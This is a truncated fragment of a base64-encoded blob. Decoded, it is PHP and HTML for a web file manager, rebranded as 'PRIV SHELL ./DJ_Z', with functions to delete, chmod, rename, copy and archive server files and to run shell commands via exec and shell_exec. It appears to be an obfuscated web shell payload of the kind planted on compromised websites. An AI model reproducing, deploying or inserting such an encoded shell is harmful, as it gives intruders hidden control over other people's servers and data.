yZWY9IiMvdW5zZWxlY3QtYWxsIiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIiBvbmNsaWNrPSJ1bnNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtd2luZG93LWNsb3NlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDwvYT48L2xpPg0KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+PGEgaHJlZj0iIy9pbnZlcnQtYWxsIiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIiBvbmNsaWNrPSJpbnZlcnRfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXRoLWxpc3QiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0ludmVydFNlbGVjdGlvbicpID8+IDwvYT48L2xpPg0KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1pbmxpbmUtaXRlbSI+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImhpZGRlbiIgbmFtZT0iZGVsZXRlIiBpZD0iYS1kZWxldGUiIHZhbHVlPSJEZWxldGUiIG9uY2xpY2s9InJldHVybiBjb25maXJtKCc8P3BocCBlY2hvIGxuZygnRGVsZXRlIHNlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzPycpOyA/PicpIj4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS1kZWxldGUnKS5jbGljaygpOyIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiI+PGkgY2xhc3M9ImZhIGZhLXRyYXNoIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PiA8L2E+PC9saT4NCiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9InppcCIgaWQ9ImEtemlwIiB2YWx1ZT0iemlwIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpIj4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpOyIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtYXJjaGl2ZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8L2E+PC9saT4NCiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9InRhciIgaWQ9ImEtdGFyIiB2YWx1ZT0idGFyIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpIj4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS10YXInKS5jbGljaygpOyIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtYXJjaGl2ZS1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdUYXInKSA/PiA8L2E+PC9saT4NCiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9ImNvcHkiIGlkPSJhLWNvcHkiIHZhbHVlPSJDb3B5Ij4NCiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS1jb3B5JykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS1maWxlcy1vIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz4gPC9hPjwvbGk+DQogICAgICAgICAgICA8L3VsPg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0iY29sLTMgZC1ub25lIGQtc20tYmxvY2siPjxhIGhyZWY9Imh0dHBzOi8vdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pbyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmbG9hdC1yaWdodCB0ZXh0LW11dGVkIj5QUklWIFNIRUxMIC4vREpfWiA8P3BocCBlY2hvIFZFUlNJT047ID8+PC9hPjwvZGl2Pg0KICAgICAgICA8P3BocCBlbHNlOiA/Pg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLTEyIj48YSBocmVmPSJodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iZmxvYXQtcmlnaHQgdGV4dC1tdXRlZCI+UFJJViBTSEVMTCAuL0RKX1ogPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2Rpdj4NCiAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgPC9kaXY+DQo8L2Zvcm0+DQoNCjw/cGhwDQpmbV9zaG93X2Zvb3RlcigpOw0KDQovLyAtLS0gRU5EIEhUTUwgLS0tDQoNCi8vIEZ1bmN0aW9ucw0KDQovKioNCiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VyaWZ5DQogKiBAcGFyYW0gc3RyaW5nICR0b2tlbg0KICogQHJldHVybiBib29sDQogKi8NCmZ1bmN0aW9uIHZlcmlmeVRva2VuKCR0b2tlbikgDQp7DQogICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkgeyANCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KLyoqDQogKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkNCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiBmbV9yZGVsZXRlKCRwYXRoKQ0Kew0KICAgIGlmIChpc19saW5rKCRwYXRoKSkgew0KICAgICAgICByZXR1cm4gdW5saW5rKCRwYXRoKTsNCiAgICB9IGVsc2VpZiAoaXNfZGlyKCRwYXRoKSkgew0KICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOw0KICAgICAgICAkb2sgPSB0cnVlOw0KICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgew0KICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3JkZWxldGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRvayA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiAoJG9rKSA/IHJtZGlyKCRwYXRoKSA6IGZhbHNlOw0KICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICByZXR1cm4gdW5saW5rKCRwYXRoKTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovKioNCiAqIFJlY3Vyc2l2ZSBjaG1vZA0KICogQHBhcmFtIHN0cmluZyAkcGF0aA0KICogQHBhcmFtIGludCAkZmlsZW1vZGUNCiAqIEBwYXJhbSBpbnQgJGRpcm1vZGUNCiAqIEByZXR1cm4gYm9vbA0KICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZA0KICovDQpmdW5jdGlvbiBmbV9yY2htb2QoJHBhdGgsICRmaWxlbW9kZSwgJGRpcm1vZGUpDQp7DQogICAgaWYgKGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgaWYgKCFjaG1vZCgkcGF0aCwgJGRpcm1vZGUpKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsNCiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY2htb2QoJHBhdGggLiAnLycgLiAkZmlsZSwgJGZpbGVtb2RlLCAkZGlybW9kZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9IGVsc2VpZiAoaXNfbGluaygkcGF0aCkpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7DQogICAgICAgIHJldHVybiBjaG1vZCgkcGF0aCwgJGZpbGVtb2RlKTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovKioNCiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdA0KICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUNCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiBmbV9pc192YWxpZF9leHQoJGZpbGVuYW1lKQ0Kew0KICAgICRhbGxvd2VkID0gKEZNX0ZJTEVfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9GSUxFX0VYVEVOU0lPTikgOiBmYWxzZTsNCg0KICAgICRleHQgPSBwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7DQogICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTsNCg0KICAgIHJldHVybiAoJGlzRmlsZUFsbG93ZWQpID8gdHJ1ZSA6IGZhbHNlOw0KfQ0KDQovKioNCiAqIFNhZmVseSByZW5hbWUNCiAqIEBwYXJhbSBzdHJpbmcgJG9sZA0KICogQHBhcmFtIHN0cmluZyAkbmV3DQogKiBAcmV0dXJuIGJvb2x8bnVsbA0KICovDQpmdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldykNCnsNCiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTsNCg0KICAgIGlmKCFpc19kaXIoJG9sZCkpIHsNCiAgICAgICAgaWYgKCEkaXNGaWxlQWxsb3dlZCkgcmV0dXJuIGZhbHNlOw0KICAgIH0NCg0KICAgIHJldHVybiAoIWZpbGVfZXhpc3RzKCRuZXcpICYmIGZpbGVfZXhpc3RzKCRvbGQpKSA/IHJlbmFtZSgkb2xkLCAkbmV3KSA6IG51bGw7DQp9DQoNCi8qKg0KICogQ29weSBmaWxlIG9yIGZvbGRlciAocmVjdXJzaXZlbHkpLg0KICogQHBhcmFtIHN0cmluZyAkcGF0aA0KICogQHBhcmFtIHN0cmluZyAkZGVzdA0KICogQHBhcmFtIGJvb2wgJHVwZCBVcGRhdGUgZmlsZXMNCiAqIEBwYXJhbSBib29sICRmb3JjZSBDcmVhdGUgZm9sZGVyIHdpdGggc2FtZSBuYW1lcyBpbnN0ZWFkIGZpbGUNCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKQ0Kew0KICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQogICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOw0KICAgICAgICAkb2sgPSB0cnVlOw0KICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgew0KICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KCRwYXRoIC4gJy8nIC4gJGZpbGUsICRkZXN0IC4gJy8nIC4gJGZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkb2sgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJG9rOw0KICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpOw0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCi8qKg0KICogU2FmZWx5IGNyZWF0ZSBmb2xkZXINCiAqIEBwYXJhbSBzdHJpbmcgJGRpcg0KICogQHBhcmFtIGJvb2wgJGZvcmNlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gZm1fbWtkaXIoJGRpciwgJGZvcmNlKQ0Kew0KICAgIGlmIChmaWxlX2V4aXN0cygkZGlyKSkgew0KICAgICAgICBpZiAoaXNfZGlyKCRkaXIpKSB7DQogICAgICAgICAgICByZXR1cm4gJGRpcjsNCiAgICAgICAgfSBlbHNlaWYgKCEkZm9yY2UpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICB1bmxpbmsoJGRpcik7DQogICAgfQ0KICAgIHJldHVybiBta2RpcigkZGlyLCAwNzc3LCB0cnVlKTsNCn0NCg0KLyoqDQogKiBTYWZlbHkgY29weSBmaWxlDQogKiBAcGFyYW0gc3RyaW5nICRmMQ0KICogQHBhcmFtIHN0cmluZyAkZjINCiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudA0KICogQHJldHVybiBib29sDQogKi8NCmZ1bmN0aW9uIGZtX2NvcHkoJGYxLCAkZjIsICR1cGQpDQp7DQogICAgJHRpbWUxID0gZmlsZW10aW1lKCRmMSk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRmMikpIHsNCiAgICAgICAgJHRpbWUyID0gZmlsZW10aW1lKCRmMik7DQogICAgICAgIGlmICgkdGltZTIgPj0gJHRpbWUxICYmICR1cGQpIHsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAkb2sgPSBjb3B5KCRmMSwgJGYyKTsNCiAgICBpZiAoJG9rKSB7DQogICAgICAgIHRvdWNoKCRmMiwgJHRpbWUxKTsNCiAgICB9DQogICAgcmV0dXJuICRvazsNCn0NCg0KLyoqDQogKiBHZXQgbWltZSB0eXBlDQogKiBAcGFyYW0gc3RyaW5nICRmaWxlX3BhdGgNCiAqIEByZXR1cm4gbWl4ZWR8c3RyaW5nDQogKi8NCmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aCkNCnsNCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHsNCiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOw0KICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTsNCiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTsNCiAgICAgICAgcmV0dXJuICRtaW1lOw0KICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHsNCiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpOw0KICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7DQogICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7DQogICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTsNCiAgICAgICAgcmV0dXJuICRtaW1lOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHJldHVybiAnLS0nOw0KICAgIH0NCn0NCg0KLyoqDQogKiBIVFRQIFJlZGlyZWN0DQogKiBAcGFyYW0gc3RyaW5nICR1cmwNCiAqIEBwYXJhbSBpbnQgJGNvZGUNCiAqLw0KZnVuY3Rpb24gZm1fcmVkaXJlY3QoJHVybCwgJGNvZGUgPSAzMDIpDQp7DQogICAgaGVhZGVyKCdMb2NhdGlvbjogJyAuICR1cmwsIHRydWUsICRjb2RlKTsNCiAgICBleGl0Ow0KfQ0KDQovKioNCiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmwNCiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgLyBhbmQgXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIC8uIGFuZCAvLi4gZmluZS4NCiAqIEBwYXJhbSAkcGF0aA0KICogQHJldHVybiBzdHJpbmcNCiAqLw0KZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpIHsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKGFycmF5KCcvJywgJ1xcJyksIERJUkVDVE9SWV9TRVBBUkFUT1IsICRwYXRoKTsNCiAgICAkcGFydHMgPSBhcnJheV9maWx0ZXIoZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCksICdzdHJsZW4nKTsNCiAgICAkYWJzb2x1dGVzID0gYXJyYXkoKTsNCiAgICBmb3JlYWNoICgkcGFydHMgYXMgJHBhcnQpIHsNCiAgICAgICAgaWYgKCcuJyA9PSAkcGFydCkgY29udGludWU7DQogICAgICAgIGlmICgnLi4nID09ICRwYXJ0KSB7DQogICAgICAgICAgICBhcnJheV9wb3AoJGFic29sdXRlcyk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkYWJzb2x1dGVzW10gPSAkcGFydDsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gaW1wbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkYWJzb2x1dGVzKTsNCn0NCg0KLyoqDQogKiBDbGVhbiBwYXRoDQogKiBAcGFyYW0gc3RyaW5nICRwYXRoDQogKiBAcmV0dXJuIHN0cmluZw0KICovDQpmdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpDQp7DQogICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7DQogICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFwvJyk7DQogICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi4vJywgJy4uXFwnKSwgJycsICRwYXRoKTsNCiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7DQogICAgaWYgKCRwYXRoID09ICcuLicpIHsNCiAgICAgICAgJHBhdGggPSAnJzsNCiAgICB9DQogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KfQ0KDQovKioNCiAqIEdldCBwYXJlbnQgcGF0aA0KICogQHBhcmFtIHN0cmluZyAkcGF0aA0KICogQHJldHVybiBib29sfHN0cmluZw0KICovDQpmdW5jdGlvbiBmbV9nZXRfcGFyZW50X3BhdGgoJHBhdGgpDQp7DQogICAgJHBhdGggPSBmbV9jbGVhbl9wYXRoKCRwYXRoKTsNCiAgICBpZiAoJHBhdGggIT0gJycpIHsNCiAgICAgICAgJGFycmF5ID0gZXhwbG9kZSgnLycsICRwYXRoKTsNCiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7DQogICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTsNCiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCcvJywgJGFycmF5KTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJyc7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KLyoqDQogKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdA0KICogQHBhcmFtIHN0cmluZyAkZmlsZQ0KICogQHJldHVybiBib29sDQogKi8NCmZ1bmN0aW9uIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUpIHsNCiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZSwgUEFUSElORk9fRVhURU5TSU9OKSk7DQogICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkgew0KICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7DQogICAgfQ0KDQogICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TOw0KICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHsNCiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7DQogICAgfQ0KICAgIGlmICghaW5fYXJyYXkoJGZpbGUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoIiouJGV4dCIsICRleGNsdWRlX2l0ZW1zKSkgew0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovKioNCiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGUNCiAqIEBwYXJhbSBpbnQgJHRyDQogKiBAcmV0dXJuIGFycmF5DQogKi8NCmZ1bmN0aW9uIGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ3RyYW5zbGF0aW9uLmpzb24nKTsNCiAgICAgICAgaWYoJGNvbnRlbnQgIT09IEZBTFNFKSB7DQogICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpOw0KICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7DQogICAgICAgICAgICBmb3JlYWNoICgkbG5nWyJsYW5ndWFnZSJdIGFzICRrZXkgPT4gJHZhbHVlKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRjb2RlID0gJHZhbHVlWyJjb2RlIl07DQogICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbIm5hbWUiXTsNCiAgICAgICAgICAgICAgICBpZiAoJHRyKQ0KICAgICAgICAgICAgICAgICAgICAkdHJbJGNvZGVdID0gJHZhbHVlWyJ0cmFuc2xhdGlvbiJdOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuICR0cjsNCiAgICAgICAgfQ0KDQogICAgfQ0KICAgIGNhdGNoIChFeGNlcHRpb24gJGUpIHsNCiAgICAgICAgZWNobyAkZTsNCiAgICB9DQp9DQoNCi8qKg0KICogQHBhcmFtIHN0cmluZyAkZmlsZQ0KICogUmVjb3ZlciBhbGwgZmlsZSBzaXplcyBsYXJnZXIgdGhhbiA+IDJHQi4NCiAqIFdvcmtzIG9uIHBocCAzMmJpdHMgYW5kIDY0Yml0cyBhbmQgc3VwcG9ydHMgbGludXgNCiAqIEByZXR1cm4gaW50fHN0cmluZw0KICovDQpmdW5jdGlvbiBmbV9nZXRfc2l6ZSgkZmlsZSkNCnsNCiAgICBzdGF0aWMgJGlzd2luOw0KICAgIHN0YXRpYyAkaXNkYXJ3aW47DQogICAgaWYgKCFpc3NldCgkaXN3aW4pKSB7DQogICAgICAgICRpc3dpbiA9IChzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAnV0lOJyk7DQogICAgfQ0KICAgIGlmICghaXNzZXQoJGlzZGFyd2luKSkgew0KICAgICAgICAkaXNkYXJ3aW4gPSAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwKSkgPT0gIkRBUldJTiIpOw0KICAgIH0NCg0KICAgIHN0YXRpYyAkZXhlY193b3JrczsNCiAgICBpZiAoIWlzc2V0KCRleGVjX3dvcmtzKSkgew0KICAgICAgICAkZXhlY193b3JrcyA9IChmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09ICdFWEVDJyk7DQogICAgfQ0KDQogICAgLy8gdHJ5IGEgc2hlbGwgY29tbWFuZA0KICAgIGlmICgkZXhlY193b3Jrcykgew0KICAgICAgICAkYXJnID0gZXNjYXBlc2hlbGxhcmcoJGZpbGUpOw0KICAgICAgICAkY21kID0gKCRpc3dpbikgPyAiZm9yICVGIGluIChcIiRmaWxlXCIpIGRvIEBlY2hvICV+ekYiIDogKCRpc2RhcndpbiA/ICJzdGF0IC1mJXogJGFyZyIgOiAic3RhdCAtYyVzICRhcmciKTsNCiAgICAgICAgQGV4ZWMoJGNtZCwgJG91dHB1dCk7DQogICAgICAgIGlmIChpc19hcnJheSgkb3V0cHV0KSAmJiBjdHlwZV9kaWdpdCgkc2l6ZSA9IHRyaW0oaW1wbG9kZSgiXG4iLCAkb3V0cHV0KSkpKSB7DQogICAgICAgICAgICByZXR1cm4gJHNpemU7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyB0cnkgdGhlIFdpbmRvd3MgQ09NIGludGVyZmFjZQ0KICAgIGlmICgkaXN3aW4gJiYgY2xhc3NfZXhpc3RzKCJDT00iKSkgew0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJGZzb2JqID0gbmV3IENPTSgnU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QnKTsNCiAgICAgICAgICAgICRmID0gJGZzb2JqLT5HZXRGaWxlKCByZWFscGF0aCgkZmlsZSkgKTsNCiAgICAgICAgICAgICRzaXplID0gJGYtPlNpemU7DQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgew0KICAgICAgICAgICAgJHNpemUgPSBudWxsOw0KICAgICAgICB9DQogICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSkpIHsNCiAgICAgICAgICAgIHJldHVybiAkc2l6ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIGlmIGFsbCBlbHNlIGZhaWxzDQogICAgcmV0dXJuIGZpbGVzaXplKCRmaWxlKTsNCn0NCg0KLyoqDQogKiBHZXQgbmljZSBmaWxlc2l6ZQ0KICogQHBhcmFtIGludCAkc2l6ZQ0KICogQHJldHVybiBzdHJpbmcNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKQ0Kew0KICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTsNCiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpOw0KICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwOw0KICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7DQogICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemU